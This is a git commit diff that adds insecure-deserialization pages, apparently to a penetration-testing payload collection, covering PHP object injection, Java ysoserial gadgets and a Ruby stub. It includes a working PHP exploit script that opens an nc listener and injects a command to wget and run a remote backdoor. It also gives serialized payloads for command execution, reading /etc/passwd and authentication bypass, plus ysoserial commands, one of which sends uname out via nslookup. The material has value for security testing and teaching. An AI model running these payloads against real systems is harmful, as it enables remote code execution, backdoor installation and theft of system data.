Deserialization - merging Java, PHP

2026-01-08 03:10:38 -08:00 · 2018-11-13 23:25:18 +01:00
parent ddfdc51e68
commit d181ff4e79
8 changed files with 31 additions and 0 deletions
--- a/deserialization/Files/PHP-Serialization-RCE-Exploit.php
+++ b/deserialization/Files/PHP-Serialization-RCE-Exploit.php
@@ -0,0 +1,32 @@
+<?php 
+/*
+PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
+
+A simple PoC to exploit PHP Object Injections flaws and gain remote shell access. 
+
+Shouts to @jstnkndy @yappare for the assist!
+
+NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
+*/
+
+print "==============================================================================\r\n";
+print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
+print "==============================================================================\r\n";
+print "[+] Generating serialized payload...[OK]\r\n";
+print "[+] Launching reverse listener...[OK]\r\n";
+system('gnome-terminal -x sh -c \'nc -lvvp 4242\'');
+
+class PHPObjectInjection
+{
+   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+   public $inject = "system('wget http://127.0.0.1/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
+}
+
+$url = 'http://localhost/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
+$url = $url . urlencode(serialize(new PHPObjectInjection));
+print "[+] Sending exploit...[OK]\r\n";
+print "[+] Dropping down to interactive shell...[OK]\r\n";
+print "==============================================================================\r\n";
+$response = file_get_contents("$url");
+
+?>
--- a/deserialization/Java.md
+++ b/deserialization/Java.md
@@ -0,0 +1,72 @@
+# Java Deserialization
+
+## Detection
+
+- "AC ED 00 05" in Hex
+- "rO0" in Base64
+- Content-type = "application/x-java-serialized-object"
+- "H4sIAAAAAAAAAJ" in gzip(base64)
+
+## Exploit
+
+[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
+
+```java
+java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
+java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
+java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
+java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
+```
+
+payload | author | dependencies | impact (if not RCE)
+------|--------|------ |------
+BeanShell1          |@pwntester, @cschneider4711 |bsh:2.0b5
+C3P0                |@mbechler                   |c3p0:0.9.5.2, mchange-commons-java:0.2.11
+Clojure             |@JackOfMostTrades           |clojure:1.8.0
+CommonsBeanutils1   |@frohoff                    |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
+CommonsCollections1 |@frohoff                    |commons-collections:3.1
+CommonsCollections2 |@frohoff                    |commons-collections4:4.0
+CommonsCollections3 |@frohoff                    |commons-collections:3.1
+CommonsCollections4 |@frohoff                    |commons-collections4:4.0
+CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
+CommonsCollections6 |@matthias_kaiser            |commons-collections:3.1
+FileUpload1         |@mbechler                   |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
+Groovy1             |@frohoff                    |groovy:2.3.9
+Hibernate1          |@mbechler|
+Hibernate2          |@mbechler|
+JBossInterceptors1  |@matthias_kaiser            |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+JRMPClient          |@mbechler|
+JRMPListener        |@mbechler|
+JSON1               |@mbechler                   |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
+JavassistWeld1      |@matthias_kaiser            |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+Jdk7u21             |@frohoff|
+Jython1             |@pwntester, @cschneider4711 |jython-standalone:2.5.2
+MozillaRhino1       |@matthias_kaiser            |js:1.7R2
+Myfaces1            |@mbechler|
+Myfaces2            |@mbechler|
+ROME                |@mbechler                   |rome:1.0
+Spring1             |@frohoff                    |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
+Spring2             |@mbechler                   |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
+URLDNS              |@gebl| | jre only vuln detect
+Wicket1             |@jacob-baines               |wicket-util:6.23.0, slf4j-api:1.6.4
+
+Additional tools (integration ysoserial with Burp Suite):
+
+- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
+- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
+- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
+- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
+- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
+
+JRE8u20_RCE_Gadget
+[https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
+
+JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
+
+## Thanks to
+
+- [Github - ysoserial](https://github.com/frohoff/ysoserial)
+- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
+- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
--- a/deserialization/PHP.md
+++ b/deserialization/PHP.md
@@ -0,0 +1,154 @@
+# PHP Object Injection
+
+PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
+
+Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
+
+## Exploit with the __wakeup in the unserialize function
+
+Vulnerable code:
+
+```php
+<?php 
+    class PHPObjectInjection{
+        public $inject;
+        function __construct(){
+        }
+        function __wakeup(){
+            if(isset($this->inject)){
+                eval($this->inject);
+            }
+        }
+    }
+    if(isset($_REQUEST['r'])){  
+        $var1=unserialize($_REQUEST['r']);
+        if(is_array($var1)){
+            echo "<br/>".$var1[0]." - ".$var1[1];
+        }
+    }
+    else{
+        echo ""; # nothing happens here
+    }
+?>
+```
+
+Payload:
+
+```php
+# Basic serialized data
+a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
+
+# Command execution
+string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
+
+```
+
+## Authentication bypass
+
+### Type juggling
+
+Vulnerable code:
+
+```php
+<?php
+$data = unserialize($_COOKIE['auth']);
+
+if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
+    $admin = true;
+} else {
+    $admin = false;
+}
+```
+
+Payload:
+
+```
+a:2:{s:8:"username";b:1;s:8:"password";b:1;}
+```
+
+Because `true == "str"` is true. Ref: [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
+
+### Object reference
+
+Vulnerable code:
+
+```php
+<?php
+class Object
+{
+  var $guess;
+  var $secretCode;
+}
+
+$obj = unserialize($_GET['input']);
+
+if($obj) {
+    $obj->secretCode = rand(500000,999999);
+    if($obj->guess === $obj->secretCode) {
+        echo "Win";
+    }
+}
+?>
+```
+
+Payload:
+
+```
+O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
+```
+
+Ref: 
+
+- [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
+- [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
+
+## Others exploits
+
+Reverse Shell
+
+```php
+class PHPObjectInjection
+{
+    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+    public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
+}
+
+echo urlencode(serialize(new PHPObjectInjection));
+```
+
+Basic detection
+
+```php
+class PHPObjectInjection
+{
+    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+    public $inject = "system('cat /etc/passwd');";
+}
+
+echo urlencode(serialize(new PHPObjectInjection));
+//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
+//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
+```
+
+## Finding and using gadgets
+
+[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
+
+- Laravel
+- Symfony
+- SwiftMailer
+- Monolog
+- SlimPHP
+- Doctrine
+- Guzzle
+
+```powershell
+phpggc monolog/rce1 'phpinfo();' -s
+```
+
+## Thanks to
+
+- [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
+- [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
+- [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
+- [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
--- a/deserialization/README.md
+++ b/deserialization/README.md
@@ -0,0 +1,22 @@
+# Insecure Deserialization
+
+> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
+
+Check the following sub-sections, located in other files :
+
+* [Java deserialization : ysoserial, ...](Java.md)
+* [PHP (Object injection) : phpggc, ...](PHP.md)
+* [Ruby : universal rce gadget, ...](Ruby.md)
+
+## Thanks to
+
+* [Github - ysoserial](https://github.com/frohoff/ysoserial)
+* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
+* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
+* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
+* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
+* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
+* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
+* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
--- a/deserialization/Ruby.md
+++ b/deserialization/Ruby.md
@@ -0,0 +1,7 @@
+# Ruby Deserialization
+
+TODO
+
+## Thanks
+
+- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)